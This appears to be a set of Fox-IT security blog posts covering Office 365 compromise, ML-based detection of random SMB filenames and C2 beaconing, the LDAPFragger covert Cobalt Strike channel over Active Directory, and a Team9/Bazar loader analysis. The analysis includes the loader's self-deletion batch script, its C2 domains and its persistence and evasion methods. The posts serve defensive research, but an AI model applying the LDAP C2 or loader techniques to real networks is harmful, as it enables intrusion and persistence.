“Office 365 again?”. At the Forensics and Incident Response department of Fox-IT, this is heard often. Office 365 breach investigations are common at our department.
You’ll find that this blog post actually doesn’t make a case for Office 365 being inherently insecure – rather, it discusses some of the predictability of Office 365 that adversaries might use and mistakes that organisations make. The final part of this blog describes a quick check for signs if you already are a victim of an Office 365 compromise. Extended details about securing and investigating your Office 365 environment will be covered in blogs to come.
Office 365 is predictable A lot of adversaries seem to have a financial motivation for trying to breach an email environment. A typical adversary doesn’t want to waste too much time searching for the right way to access the email system, despite the fact that it is often enough to browse to an address like https://webmail.companyname.tld. But why would the adversary risk encountering a custom or extra-secure web page? Why would the adversary accept the uncertainty of having to deal with a certain email protocol in use by the particular organisation? Why guess the URL? It’s much easier to use the “Cloud approach”.
In this approach, an adversary first collects a list of valid credentials (email address and password), most frequently gathered with the help of a successful phishing campaign. When credentials have been captured, the adversary simply browses to https://office.com and tries them. If there’s no second type of authentication required, they are in. That’s it. The adversary is now in paradise, because after gaining access, they also know what to expect here. Not some fancy or out-dated email system, but an Office 365 environment just like all the others. There’s a good chance that the compromised account owns an Exchange Online mailbox too.
In predictable environments, like Office 365, it’s also much easier to automate your process of evil intentions. The adversary may create a script or use some tooling, complement it with the gathered list of credentials and sit back. Of course, an adversary may also target a specific on-premises system configuration, but seen from an opportunistic point of view, why would they? According to Microsoft, more than 180 million people are using their popular cloud-based solution. It’s far more effective to try another set of credentials and enter another predictable environment than it is to spend time in figuring out where information might be available, and how the environment is configured.
Office 365 is… secure? Well, yes, Office 365 is a secure platform. The truth is that it has a lot more easy-to-deploy security capabilities than the most common on-premises solutions. The issue here is that organisations seem to not always realise what they could and should do to secure Office 365.
Best practices for securing your Office 365 environment will be covered in a later blog, but here’s a sneak preview: More than 90% of the Office 365 breaches investigated by Fox-IT would not have happened if the organisation would have had multi-factor authentication in place. No, implementation doesn’t need to be a hassle. Yes, it’s a free to use option. Other security measures like receiving automatic alerts on suspicious activity detected by built-in Office 365 processes are free as well, but often neglected.
Simple preventive solutions like these are not even commonly available in on-premises-situation environments. It almost seems that many companies assume that they can get perfect security right out of the box, rather than configuring the platform to their needs. This may be the reason for organisations to do not even bother configuring Office 365 in a more secure way. That’s a pity, especially when securing your environment is often just a few cloud-clicks away. Office 365 may not be less secure than an on-premises solution, but it might be more prone to being compromised though. Thanks to the lack of involved expertise, and thanks to adversaries who know how to take advantage of this. Microsoft already offers multi-factor authentication to reduce the impact of attacks like phishing. This is great news, because we know from experience that most of the compromises that we see could have been prevented if those companies had used MFA. However, compelling more organisations to adopt it remains an ongoing challenge, and how to drive increased adoption of MFA remains an open question.
A lot of organisations are already compromised. Are you? At our department we often see that it may take months(!) for an organisation to realise that they have been compromised. In Office 365 breaches, the adversary is often detected due to an action that causes so much noise that it’s no longer possible for the adversary to hide. When the adversary thinks it’s no longer beneficial to persist, the next step is to try to get foothold into another organisation. In our investigations, we see that when this happens, the adversary has already tried reaching a financial goal. This financial goal is often achieved by successfully committing a payment related fraud in which they use an employee’s internal email account to mislead someone. Eventually, to advance into another organisation, a phishing email is sent by the adversary to a large part of the organisation’s address list. In the end, somebody will likely take the bait and leave their credentials on a malevolent and adversary-controlled website. If a victim does, the story starts over again, at the other organisation. For the adversary, it’s just a matter of repeating the steps.
The step to gain foothold in another organisation is also the moment that a lot of (phishing) email messages are flowing out of the organisation. Thanks to Office 365 intelligence, these are automatically blocked if the number of messages surpasses a given limit based on the user’s normal email behaviour. This is commonly the moment where the victim gets in touch with their system administrator, asking why they can’t send any email anymore. Ideally, the system administrator will quickly notice the email messages containing malicious content and report the incident to the security team.
For now, let’s assume you do not have the basic precautions set up, and you want to know if somebody is lurking in your Office 365 environment. You could hire experts to forensically scrutinize your environment, and that would be a correct answer. There actually is a relatively easy way to check if Microsoft’s security intelligence already detected some bad stuff. In this blog we will zoom in on one of these methods. Please keep in mind that a full discussion of these range of the available methods is beyond the scope of this blog post. This blog post describes the method that from our perspective gives quick insights in (afterwards) checking for signs of a breach. The not-so-obvious part of this step is that you will find the output in Microsoft Azure, rather than in Office 365. A big part of the Office 365 environment is actually based on Microsoft Azure, and so is its authentication. This is why it’s usually[1] possible to log in at the Azure portal and check for Risk events.
Scroll down to the part that says Security and click Risk events
If there are any risky events, these will be listed here. For example, impossible travels are one of the more interesting events to pay attention to. These may look like this:
This risk event type identifies two sign-ins from the same account, originating from geographically distant locations within a period in which the geographically distance cannot be covered. Other unusual sign-ins are also marked by machine learning algorithms. Impossible travel is usually a good indicator that an adversary was able to successfully sign in. However, false positives may occur when a user is traveling using a new device or using a VPN.
Apart from the impossible travel registrations, Azure also has a lot of other automated checks which might be listed in the Risk events section. If you have any doubts about these, or if a compromise seems likely: please get in contact with your security team as fast as possible. If your security team needs help in the investigation or mitigation, contact the FoxCERT team. FoxCERT is available 24/7 by phone on +31 (0)800 FOXCERT (+31 (0)800-3692378).
[1] Disregarding more complex federated setups, and assuming the licensing model permits.
Combining both n-grams and random forest models to detect malicious activity.
Author: Haroen Bashir
An essential part of Managed Detection and Response at Fox-IT is the Security Operations Center. This is our frontline for detecting and analyzing possible threats. Our Security Operations Center brings together the best in human and machine analysis and we continually strive to improve both. For instance, we develop machine learning techniques for detecting malicious content such as DGA domains or unusual SMB traffic. In this blog entry we describe a possible method for random filename detection.
During traffic analysis of lateral movement we sometimes recognize random filenames, indicating possible malicious activity or content. Malicious actors often need to move through a network to reach their primary objective, more popularly known as lateral movement [1].
There is a variety of routes for adversaries to perform lateral movement. Attackers can use penetration testing frameworks such as Metasploit [3] or Microsoft Sysinternal application PsExec. This application creates the possibility for remote command execution over the SMB protocol [4].
Due to its malicious nature we would like to detect lateral movement as quickly as possible. In this blogpost we build on our previous blog entry [2] and we describe how we can apply the magic of machine learning in detection of random filenames in SMB traffic.
Supervised versus unsupervised detection models
Machine learning can be applied in various domains. It is widely used for prediction and classification models, which suits our purpose perfectly. We investigated two possible machine learning architectures for random filename detection.
The first detection method for random filenames is set up by creating bigrams of filenames, which you can find more information about in our previous post [2]. This detection method is based on unsupervised learning. After the model learns a baseline of common filenames, it can now detect when filenames don’t belong in its learned baseline.
This model has a drawback; it requires a lot of data. The solution can be found with supervised machine learning models. With supervised machine learning we feed a model data whilst simultaneously providing the label of the data. In our current case, we label data as either random or not-random.
A powerful supervised machine learning model is the random forest. We picked this architecture as it’s widely used for predictive models in both classification and regression problems. For an introduction into this technique we advise you to see [4]. The random forest is based on multiple decision trees, increasing the stability of a detection model. The following diagram illustrates the architecture of the detection model we built.
Similar to the first model, we create bigrams of the filenames. The model cannot train on bigrams however, so we have to map the bigrams into numerical vectors. After training and testing the model we then focus on fine-tuning hyperparameters. This is essential for increasing the stability of the model. An important hyperparameter of the random forest is depth. A greater depth will create more decision splits in the random forest, which can easily cause overfitting. It is therefore highly desirable to keep the depth as low as possible, whilst simultaneously maintaining high precision rates.Results
Proper data is one of the most essential parts in machine learning. We gathered our data by scraping nearly 180.000 filenames from SMB logs of our own network. Next to this, we generated 1.000 random filenames ourselves. We want to make sure that the models don’t develop a bias towards for example the extension “.exe”, so we stripped the extensions from the filenames.
As we stated earlier the bigrams model is based on our previously published DGA detection model. This model has been trained on 90% percent of filenames. It is then tested on the remaining filenames and 100% of random filenames.
The random forest has been trained and tested in multiple folds, which is a cross validation technique[6]. We evaluate our predictions in a joint confusion matrix which is illustrated below.
True positives are shown in the upper right column, the bigrams model detected 71% of random filenames and the random forest detected 81% of random filenames. As you can see the models produce low false positive rates, in both models ~0% of not random filenames have been incorrectly classified as random. This is great for use in our Security Operations Center, as this keeps the workload on the analysts consistent.
The F1-scores are 0.83 and 0.89 respectively. Because we focus on adding detection with low false positive rates, it is not our priority to reduce the false negative rates. In future work we will take a better look at the false negative rates of the models.
We were quite interested in differences in both detection models. Looking at the visualization below we can observe that both models equally detect 572 random filenames. They separately detect 236 and 141 random filenames respectively. The bigrams model might miss more random filenames due to its unsupervised architecture. It is possible that the bigrams model requires more data to create it’s baseline and therefore doesn’t perform as well as the supervised random forest.The overlap in both models and the low false positive rate gave us the idea to run both these models cooperatively for detection of random filenames. It doesn’t cost much processing and we would gain a lot! In practical setting this would mean that if a random filename slips by one detection model, it is still possible for the other model to detect this. In theory, we detect 90% of random filenames! The low false positive rates and complementary aspects of the detection models indicate that this setup could be really useful for detection in our Security Operations Center.
Conclusion
During traffic analysis in our Security Operations Center we sometimes recognize random filenames, indicating possible lateral movement. Malicious actors can use penetration testing frameworks (e.g. Metasploit) and Microsoft processes (e.g. PsExec) for lateral movement. If adversaries are able to do this, they can easily compromise a (sub)network of a target. Needless to say that we want to detect this behavior as quickly as possible.
In this blog entry we described how we applied machine learning in order to detect these random filenames. We showed two models for detection: a bigrams model and a random forest. Both these models yield good results in testing stage, indicated by the low false positive rates. We also looked at the overlap in predictions from which we concluded that we can detect 90% of random filenames in SMB traffic! This gave us the idea to run both detection models cooperatively in our Security Operations Center.
For future work we would like to research the usability of these models on endpoint data, as our current research is solely focused on detection in network traffic. There is for instance lots of malware that outputs random filenames on a local machine. This is just one of many possibilities which we can better investigate.
All in all, we can confidently conclude that machine learning methods are one of many efficient ways to keep up with adversaries and improve our security operations!
Attacks need to have a form of communication with their victim machines, also known as Command and Control (C2) [1]. This can be in the form of a continuous connection or connect the victim machine directly. However, it’s convenient to have the victim machine connect to you. In other words: It has to communicate back. This blog describes a method to detect one technique utilized by many popular attack frameworks based solely on connection metadata and statistics, in turn enabling this technique to be used on multiple log sources.
Many attack frameworks use beaconing
Frameworks like Cobalt Strike, PoshC2, and Empire, but also some run-in-the-mill malware, frequently check-in at the C2 server to retrieve commands or to communicate results back. In Cobalt Strike this is called a beacon, but concept is similar for many contemporary frameworks. In this blog the term ‘beaconing’ is used as a general term for the call-backs of malware. Previous fingerprinting techniques shows that there are more than a thousand Cobalt Strike servers online in a month that are actively used by several threat actors, making this an important point to focus on.
While the underlying code differs slightly from tool to tool, they often exist of two components to set up a pattern for a connection: a sleep and a jitter. The sleep component indicates how long the beacon has to sleep before checking in again, and the jitter modifies the sleep time so that a random pattern emerges. For example: 60 seconds of sleep with 10% jitter results in a uniformly random sleep between 54 and 66 seconds (PoshC2 [3], Empire [4]) or a uniformly random sleep between 54 and 60 seconds (Cobalt Strike [5]). Note the slight difference in calculation.
This jitter weakens the pattern but will not dissolve the pattern entirely. Moreover, due to the uniform distribution used for the sleep function the jitter is symmetrical. This is in our advantage while detecting this behaviour!
Detecting the beacon
While static signatures are often sufficient in detecting attacks, this is not the case for beaconing. Most frameworks are very customizable to your needs and preferences. This makes it hard to write correct and reliable signatures. Yet, the pattern does not change that much. Therefore, our objective is to find a beaconing pattern in seemingly pattern less connections in real-time using a more anomaly-based method. We encourage other blue teams/defenders to do the same.
Since the average and median of the time between the connections is more or less constant, we can look for connections where the times between consecutive connections constantly stay within a certain range. Regular traffic should not follow such pattern. For example, it makes a few fast-consecutive connections, then a longer time pause, and then again, some interaction. Using a wider range will detect the beacons with a lot of jitter, but more legitimate traffic will also fall in the wider range. There is a clear trade-off between false positives and accounting for more jitter.
In order to track the pattern of connections, we create connection pairs. For example, an IP that connects to a certain host, can be expressed as ’10.0.0.1 -> somerandomhost.com”. This is done for all connection pairs in the network. We will deep dive into one connection pair.
The image above illustrates a beacon is simulated for the pair ’10.0.0.1 -> somerandomhost.com” with a sleep of 1 second and a jitter of 20%, i.e. having a range between 0.8 and 1.2 seconds and the model is set to detect a maximum of 25% jitter. Our model follows the expected timing of the beacon as all connections remain within the lower and upper bound. In general, the more a connection reside within this bandwidth, the more likely it is that there is some sort of beaconing. When a beacon has a jitter of 50% our model has a bandwidth of 25%, it is still expected that half of the beacons will fall within the specified bandwidth.
Even when the configuration of the beacon changes, this method will catch up. The figure above illustrates a change from one to two seconds of sleep whilst maintaining a 10% beaconing. There is a small period after the change where the connections break through the bandwidth, but after several connections the model catches up.
This method can work with any connection pair you want to track. Possibilities include IPs, HTTP(s) hosts, DNS requests, etc. Since it works on only the metadata, this will also help you to hunt for domain fronted beacons (keeping in mind your baseline).
Keep in mind the false positives
Although most regular traffic will not follow a constant pattern, this method will most likely result in several false positives. Every connection that runs on a timer will result in the exact same pattern as beaconing. Example of such connections are windows telemetry, software updates, and custom update scripts. Therefore, some baselining is necessary before using this method for alerting. Still, hunting will always be possible without baselining!
Conclusion
Hunting for C2 beacons proves to be a worthwhile exercise. Real world scenarios confirm the effectiveness of this approach. Depending on the size of the network logs, this method can plow through a month of logs within an hour due to the simplicity of the method. Even when the hunting exercise did not yield malicious results, there are often other applications that act on specific time intervals and are also worth investigating, removing, or altering. While this method will not work when an adversary uses a 100% jitter. Keep in mind that this will probably annoy your adversary, so it’s still a win!
A while back during a penetration test of an internal network, we encountered physically segmented networks. These networks contained workstations joined to the same Active Directory domain, however only one network segment could connect to the internet. To control workstations in both segments remotely with Cobalt Strike, we built a tool that uses the shared Active Directory component to build a communication channel. For this, it uses the LDAP protocol which is commonly used to manage Active Directory, effectively routing beacon data over LDAP. This blogpost will go into detail about the development process, how the tool works and provides mitigation advice.
Scenario
A couple of months ago, we did a network penetration test at one of our clients. This client had multiple networks that were completely firewalled, so there was no direct connection possible between these network segments. Because of cost/workload efficiency reasons, the client chose to use the same Active Directory domain between those network segments. This is what it looked like from a high-level overview.
We had physical access on workstations in both segment A and segment B. In this example, workstations in segment A were able to reach the internet, while workstations in segment B could not. While we did have physical access on workstation in both network segments, we wanted to control workstations in network segment B from the internet.
Active Directory as a shared component
Both network segments were able to connect to domain controllers in the same domain and could interact with objects, authenticate users, query information and more. In Active Directory, user accounts are objects to which extra information can be added. This information is stored in attributes. By default, user accounts have write permissions on some of these attributes. For example, users can update personal information such as telephone numbers or office locations for their own account. No special privileges are needed for this, since this information is writable for the identity SELF, which is the account itself. This is configured in the Active Directory schema, as can be seen in the screenshot below.
Personal information, such as a telephone number or street address, is by default readable for every authenticated user in the forest. Below is a screenshot that displays the permissions for public information for the Authenticated Users identity.
The permissions set in the screenshot above provide access to the attributes defined in the Personal-Information property set. This property set contains 40+ attributes that users can read from and write to. The complete list of attributes can be found in the following article: https://docs.microsoft.com/en-us/windows/win32/adschema/r-personal-information
By default, every user that has successfully been authenticated within the same forest is an ‘authenticated user’. This means we can use Active Directory as a temporary data store and exchange data between the two isolated networks by writing the data to these attributes and then reading the data from the other segment.
If we have access to a user account, we can use that user account in both network segments simultaneously to exchange data over Active Directory. This will work, regardless of the security settings of the workstation, since the account will communicate directly to the domain controller instead of the workstation.
To route data over LDAP we need to get code execution privileges first on workstations in both segments. To achieve this, however, is up to the reader and beyond the scope of this blogpost.
To route data over LDAP, we would write data into one of the attributes and read the data from the other network segment.
In a typical scenario where we want to execute ipconfigon a workstation in network Segment B from a workstation in network Segment A, we would write the ipconfig command into an attribute, read the ipconfig command from network segment B, execute the command and write the results back into the attribute.
This process is visualized in the following overview:
While this works in practice to communicate between segmented networks over Active Directory, this solution is not ideal. For example, this channel depends on the replication of data between domain controllers. If you write a message to domain controller A, but read the message from domain controller B, you might have to wait for the domain controllers to replicate in order to get the data. In addition, in the example above we used to info-attribute to exchange data over Active Directory. This attribute can hold up to 1024 bytes of information. But what if the payload exceeds that size? More issues like these made this solution not an ideal one.
That is why we decided to build an advanced LDAP communication channel that fixes these issues.
Building an advanced LDAP channel
In the example above, the info-attribute is used. This is not an ideal solution, because what if the attribute already contains data or if the data ends up in a GUI somewhere?
To find other attributes, all attributes from the Active Directory schema are queried and:
Checked if the attribute contains data;
If the user has write permissions on it;
If the contents can be cleared.
If this all checks out, the name and the maximum length of the attribute is stored in an array for later usage.
Visually, the process flow would look like this:
As for (payload) data not ending up somewhere in a GUI such as an address book, we did not find a reliable way to detect whether an attribute ends up in a GUI or not, so attributes such as telephoneNumber are added to an in-code blacklist. For now, the attribute with the highest maximum length is selected from the array with suitable attributes, for speed and efficiency purposes. We refer to this attribute as the ‘data-attribute’ for the rest of this blogpost.
Sharing the attribute name
Now that we selected the data-attribute, we need to find a way to share the name of this attribute from the sending network segment to the receiving side. As we want the LDAP channel to be as stealthy as possible, we did not want to share the name of the chosen attribute directly.
In order to overcome this hurdle we decided to use hashing. As mentioned, all attributes were queried in order to select a suitable attribute to exchange data over LDAP. These attributes are stored in a hashtable, together with the CRC representation of the attribute name. If this is done in both network segments, we can share the hash instead of the attribute name, since the hash will resolve to the actual name of the attribute, regardless where the tool is used in the domain.
Avoiding replication issues
Chances are that the transfer rate of the LDAP channel is higher than the replication occurrence between domain controllers. The easy fix for this is to communicate to the same domain controller.
That means that one of the clients has to select a domain controller and communicate the name of the domain controller to the other client over LDAP.
The way this is done is the same as with sharing the name of the data-attribute. When the tool is started, all domain controllers are queried and stored in a hashtable, together with the CRC representation of the fully qualified domain name (FQDN) of the domain controller. The hash of the domain controller that has been selected is shared with the other client and resolved to the actual FQDN of the domain controller.
Initially sharing data
We now have an attribute to exchange data, we can share the name of the attribute in an obfuscated way and we can avoid replication issues by communicating to the same domain controller. All this information needs to be shared before communication can take place.
Obviously, we cannot share this information if the attribute to exchange data with has not been communicated yet (sort of a chicken-egg problem).
The solution for this is to make use of some old attributes that can act as a placeholder. For the tool, we chose to make use of one the following attributes:
primaryInternationalISDNNumber;
otherFacsimileTelephoneNumber;
primaryTelexNumber.
These attributes are part of the Personal-Information property set, and have been part of that since Windows 2000 Server. One of these attributes is selected at random to store the initial data.
We figured that the chance that people will actually use these attributes are low, but time will tell if that is really the case
Message feedback
If we send a message over LDAP, we do not know if the message has been received correctly and if the integrity has been maintained during the transmission. To know if a message has been received correctly, another attribute will be selected – in the exact same way as the data-attribute – that is used to exchange information regarding that message. In this attribute, a CRC checksum is stored and used to verify if the correct message has been received.
In order to send a message between the two clients – Alice and Bob –, Alice would first calculate the CRC value of the message that she is about to send herself, before she sends it over to Bob over LDAP. After she sent it to Bob, Alice will monitor Bob’s CRC attribute to see if it contains data. If it contains data, Alice will verify whether the data matches the CRC value that she calculated herself. If that is a match, Alice will know that the message has been received correctly.
If it does not match, Alice will wait up until 1 second in 100 millisecond intervals for Bob to post the correct CRC value.
The process on the receiving end is much simpler. After a new message has been received, the CRC is calculated and written to the CRC attribute after which the message will be processed.
Fragmentation
Another challenge that we needed to overcome is that the maximum length of the attribute will probably be smaller than the length of the message that is going to be sent over LDAP. Therefore, messages that exceed the maximum length of the attribute need to be fragmented.
The message itself contains the actual data, number of parts and a message ID for tracking purposes. This is encoded into a base64 string, which will add an additional 33% overhead.
The message is then fragmented into fragments that would fit into the attribute, but for that we need to know how much information we can store into said attribute.
Every attribute has a different maximum length, which can be looked up in the Active Directory schema. The screenshot below displays the maximum length of the info-attribute, which is 1024.
At the start of the tool, attribute information such as the name and the maximum length of the attribute is saved. The maximum length of the attribute is used to fragment messages into the correct size, which will fit into the attribute. If the maximum length of the data-attribute is 1024 bytes, a message of 1536 will be fragmented into a message of 1024 bytes and a message of 512 bytes.
After all fragments have been received, the fragments are put back into the original message. By also using CRC, we can send big files over LDAP. Depending on the maximum length of the data-attribute that has been selected, the transfer speed of the channel can be either slow or okay.
Autodiscover
The working of the LDAP channel depends on (user) accounts. Preferably, accounts should not be statically configured, so we needed a way for clients both finding each other independently.
Our ultimate goal was to route a Cobalt Strike beacon over LDAP. Cobalt Strike has an experimental C2 interface that can be used to create your own transport channel. The external C2 server will create a DLL injectable payload upon request, which can be injected into a process, which will start a named pipe server. The name of the pipe as well as the architecture can be configured. More information about this can be read at the following location: https://www.cobaltstrike.com/help-externalc2
Until now, we have gathered the following information:
8 bytes – Hash of data-attribute
8 bytes – Hash of CRC-attribute
8 bytes – Hash of domain controller FQDN
Since the name of the pipe as well as the architecture are configurable, we need more information:
8 bytes – Hash of the system architecture
8 bytes – Pipe name
The hash of the system architecture is collected in the same way as the data, CRC and domain controller attribute. The name of the pipe is a randomized string of eight characters. All this information is concatenated into a string and posted into one of the placeholder attributes that we defined earlier:
primaryInternationalISDNNumber;
otherFacsimileTelephoneNumber;
primaryTelexNumber.
The tool will query the Active Directory domain for accounts where one of each of these attributes contains data. If found and parsed successfully, both clients have found each other but also know which domain controller is used in the process, which attribute will contain the data, which attribute will contain the CRC checksums of the data that was received but also the additional parameters to create a payload with Cobalt Strike’s external C2 listener. After this process, the information is removed from the placeholder attribute.
Until now, we have not made a distinction between clients. In order to make use of Cobalt Strike, you need a workstation that is allowed to create outbound connections. This workstation can be used to act as an implant to route the traffic over LDAP to another workstation that is not allowed to create outbound connections. Visually, it would something like this.
Let us say that we have our tool running in segment A and segment B – Alice and Bob. All information that is needed to communicate over LDAP and to generate a payload with Cobalt Strike is already shared between Alice and Bob. Alice will forward this information to Cobalt Strike and will receive a custom payload that she will transfer to Bob over LDAP. After Bob has received the payload, Bob will start a new suspended child process and injects the payload into this process, after which the named pipe server will start. Bob now connects to the named pipe server, and sends all data from the pipe server over LDAP to Alice, which on her turn will forward it to Cobalt Strike. Data from Cobalt Strike is sent to Alice, which she will forward to Bob over LDAP, and this process will continue until the named pipe server is terminated or one of the systems becomes unavailable for whatever reason. To visualize this in a nice process flow, we used the excellent format provided in the external C2 specification document.
After a new SMB beacon has been spawned in Cobalt Strike, you can interact with it just as you would normally do. For example, you can run MimiKatz to dump credentials, browse the local hard drive or start a VNC stream.
The tool has been made open source. The source code can be found here: https://github.com/fox-it/LDAPFragger
The tool is easy to use: Specifying the cshost and csport parameter will result in the tool acting as the proxy that will route data from and to Cobalt Strike. Specifying AD credentials is not necessary if integrated AD authentication is used. More information can be found on the Github page. Please do note that the default Cobalt Strike payload will get caught by modern AVs. Bypassing AVs is beyond the scope of this blogpost.
Why a C2 LDAP channel?
This solution is ideal in a situation where network segments are completely segmented and firewalled but still share the same Active Directory domain. With this channel, you can still create a reliable backdoor channel to parts of the internal network that are otherwise unreachable for other networks, if you manage to get code execution privileges on systems in those networks. Depending on the chosen attribute, speeds can be okay but still inferior to the good old reverse HTTPS channel. Furthermore, no special privileges are needed and it is hard to detect.
Remediation
In order to detect an LDAP channel like this, it would be necessary to have a baseline identified first. That means that you need to know how much traffic is considered normal, the type of traffic, et cetera. After this information has been identified, then you can filter out the anomalies, such as:
Unusual amount of traffic from clients to a domain controller;
A high volume of changes to AD objects, so monitor for event ID 5136 on domain controllers;
Monitor the usage of the three static placeholders mentioned earlier in this blogpost might seem like a good tactic as well, however, that would be symptom-based prevention as it is easy for an attacker to use different attributes, rendering that remediation tactic ineffective if attackers change the attributes.
Author: Nikolaos Pantazopoulos
Co-author: Stefano Antenucci (@Antelox) And in close collaboration with NCC’s RIFT.
1. Introduction
Publicly discovered in late April 2020, the Team9 malware family (also known as ‘Bazar [1]’) appears to be a new malware being developed by the group behind Trickbot. Even though the development of the malware appears to be recent, the developers have already developed two components with rich functionality. The purpose of this blog post is to describe the functionality of the two components, the loader and the backdoor.
About the Research and Intelligence Fusion Team (RIFT):
RIFT leverages our strategic analysis, data science, and threat hunting capabilities to create actionable threat intelligence, ranging from IOCs and detection rules to strategic reports on tomorrow’s threat landscape. Cyber security is an arms race where both attackers and defenders continually update and improve their tools and ways of working. To ensure that our managed services remain effective against the latest threats, NCC Group operates a Global Fusion Center with Fox-IT at its core. This multidisciplinary team converts our leading cyber threat intelligence into powerful detection strategies.
2. Early variant of Team9 loader
We assess that this is an earlier variant of the Team9 loader (35B3FE2331A4A7D83D203E75ECE5189B7D6D06AF4ABAC8906348C0720B6278A4) because of its simplicity and the compilation timestamp. The other variant was compiled more recently and has additional functionality. It should be noted that in very early versions of the loader binaries (2342C736572AB7448EF8DA2540CDBF0BAE72625E41DAB8FFF58866413854CA5C), the developers were using the Windows BITS functionality in order to download the backdoor. However, we believe that this functionality has been dropped.
Before proceeding to the technical analysis part, it is worth mentioning that the strings are not encrypted. Similarly, the majority of the Windows API functions are not loaded dynamically.
When the loader starts its execution, it checks if another instance of itself has infected the host already by attempting to read the value ‘BackUp Mgr’ in the ‘Run’ registry key ‘Software\Microsoft\Windows\CurrentVersion\Run’ (Figure 1). If it exists, it validates if the current loaders file path is the same as the one that has already been set in the registry value’s data (BackUp Mgr). Assuming that all of the above checks were successful, the loader proceeds to its core functionality.
Figure 1 – Loader verifies if it has already infect the host
However, if any of the above checks do not meet the requirements then the loader does one of the following actions:
Copy itself to the %APPDATA%\Microsoft folder, add this file path in the registry ‘Run’ key under the value ‘BackUp Mgr’ and then execute the loader from the copied location.
If the loader cannot access the %APPDATA% location or if the loader is running from this location already, then it adds the current file path in the ‘Run’ registry key under the value ‘BackUp Mgr’ and executes the loader again from this location.
When the persistence operation finishes, the loader deletes itself by writing a batch file in the Windows temporary folder with the file name prefix ‘tmp’ followed by random digits. The batch file content:
@echo off
set Module=%1
:Repeat
del %Module%
if exist %Module% goto Repeat
del %0
Next, the loader fingerprints the Windows architecture. This is a crucial step because the loader needs to know what version of the backdoor to download (32-bit or 64-bit). Once the Windows architecture has been identified, the loader carries out the download.
The core functionality of the loader is to download the Team9 backdoor component. The loader contains two ‘.bazar’ top-level domains which point to the Team9 backdoor. Each domain hosts two versions of the Team9 backdoor on different URIs, one for each Windows architecture (32-bit and 64-bit), the use of two domains is highly likely to be a backup method.
Any received files from the command and control server are sent in an encrypted format. In order to decrypt a file, the loader uses a bitwise XOR decryption with the key being based on the infected host’s system time (Year/Month/Day) (Figure 2).
Figure 2 – Generate XOR key based on infected host’s time
As a last step, the loader verifies that the executable file was decrypted successfully by validating the PE headers. If the Windows architecture is 32-bit, the loader injects the received executable file into ‘calc.exe’ (Windows calculator) using the ‘Process Hollowing’ technique. Otherwise, it writes the executable file to disk and executes it.
The following tables summarises the identified bazar domains and their URIs found in the early variants of the loader.
URI
Description
/api/v108
Possibly downloads the 64-bit version of the Team9 backdoor
/api/v107
Possibly downloads the 32-bit version of the Team9 backdoor
/api/v5
Possibly downloads an updated 32-bit version of the Team9 loader
/api/v6
Possibly downloads an updated 64-bit version of the Team9 loader
/api/v7
Possibly downloads the 32-bit version of the Team9 backdoor
/api/v8
Possibly downloads the 64-bit version of the Team9 backdoor
Table 1 – Bazar URIs found in early variants of the loader
The table below (table 2) summarises the identified domains found in the early variants of the loader.
Bazar domains
bestgame[.]bazar
forgame[.]bazar
zirabuo[.]bazar
tallcareful[.]bazar
coastdeny[.]bazar
Table 2 – Bazar domains found in early variants of the loader
Lastly, another interesting observation is the log functionality in the binary file that reveals the following project file path:
In this section, we describe the functionality of a second loader that we believe to be the latest variant of the aforementioned Team9 loader. This assessment is based on three factors:
Similar URIs in the backdoor requests
Similar payload decryption technique
Similar code blocks
Unlike its previous version, the strings are encrypted and the majority of Windows API functions are loaded dynamically by using the Windows API hashing technique.
Once executed, the loader uses a timer in order to delay the execution. This is likely used as an anti-sandbox method. After the delayed time has passed, the loader starts executing its core functionality.
Before the malware starts interacting with the command and control server, it ensures that any other related files produced by a previous instance of the loader will not cause any issues. As a result the loader appends the string ‘_lyrt’ to its current file path and deletes any file with this name. Next, the loader searches for the parameter ‘-p’ in the command line and if found, it deletes the scheduled task ‘StartDT’. The loader creates this scheduled task later for persistence during execution. The loader also attempts to execute hijacked shortcut files, which will eventually execute an instance of Team9 loader. This functionality is described later.
The loader performs a last check to ensure that the operating systems keyboard and language settings are not set to Russian and creates a mutex with a hardcoded name ‘ld_201127’. The latter is to avoid double execution of its own instance.
As mentioned previously, the majority of Windows API functions are loaded dynamically. However, in an attempt to bypass any API hooks set by security products, the loader manually loads ‘ntdll’ from disk, reads the opcodes from each API function and compares them with the ones in memory (Figure 3). If the opcodes are different, the loader assumes a hook has been applied and removes it. This applies only to 64-bit samples reviewed to date.
Figure 3 – Scan for hooks in Windows API functions
The next stage downloads from the command and control server either the backdoor or an updated version of the loader. It is interesting to note that there are minor differences in the loader’s execution based on the identified Windows architecture and if the ‘-p’ parameter has been passed into the command line.
Assuming that the ‘-p’ parameter has not been passed into the command line, the loader has two loops. One for 32-bit and the other for 64-bit, which download an updated version of the loader. The main difference between the two loops is that in case of a Windows x64 infection, there is no check of the loader’s version.
The download process is the same with the previous variant, the loader resolves the command and control server IP address using a hardcoded list of DNS servers and then downloads the corresponding file. An interesting addition, in the latest samples, is the use of an alternative command and control server IP address, in case the primary one fails. The alternative IP address is generated by applying a bitwise XOR operation to each byte of the resolved command and control IP address with the byte 0xFE. In addition, as a possible anti-behaviour method, the loader verifies that the command and control server IP address is not ‘127.0.0.1’. Both of these methods are also present in the latest Team9 backdoor variants.
As with the previous Team9 loader variant, the command and control server sends back the binary files in an encrypted format. The decryption process is similar with its previous variant but with a minor change in the XOR key generation, the character ‘3’ is added between each hex digit of the day format (Figure 4). For example:
332330332330330335331338 (ASCII format, host date: 2020-05-18)
Figure 4 – Add the character ‘3’ in the generated XOR key
If the ‘-p’ parameter has been passed into the command line, the loader proceeds to download the Team9 backdoor directly from the command and control server. One notable addition is the process injection (hollow process injection) when the backdoor has been successfully downloaded and decrypted. The loader injects the backdoor to one of the following processes:
Svchost
Explorer
cmd
Whenever a binary file is successfully downloaded and properly decrypted, the loader adds or updates its persistence in the infected host. The persistence methods are available in table 3.
Persistence Method
Persistence Method Description
Scheduled task
The loader creates two scheduled tasks, one for the updated loader (if any) and one for the downloaded backdoor. The scheduled task names and timers are different.
Winlogon hijack
Add the malware’s file path in the ‘Userinit’ registry value. As a result, whenever the user logs in the malware is also executed.
Shortcut in the Startup folder
The loaders creates a shortcut, which points to the malware file, in the Startup folder. The name of the shortcut is ‘adobe’.
Hijack already existing shortcuts
The loader searches for shortcut files in Desktop and its subfolders. If it finds one then it copies the malware into the shortcut’s target location with the application’s file name and appends the string ‘__’ at the end of the original binary file name. Furthermore, the loader creates a ‘.bin’ file which stores the file path, file location and parameters. The ‘.bin’ file structure can be found in the Appendix section. When this structure is filled in with all required information, It is encrypted with the XOR key 0x61.
Table 3 – Persistence methods loader
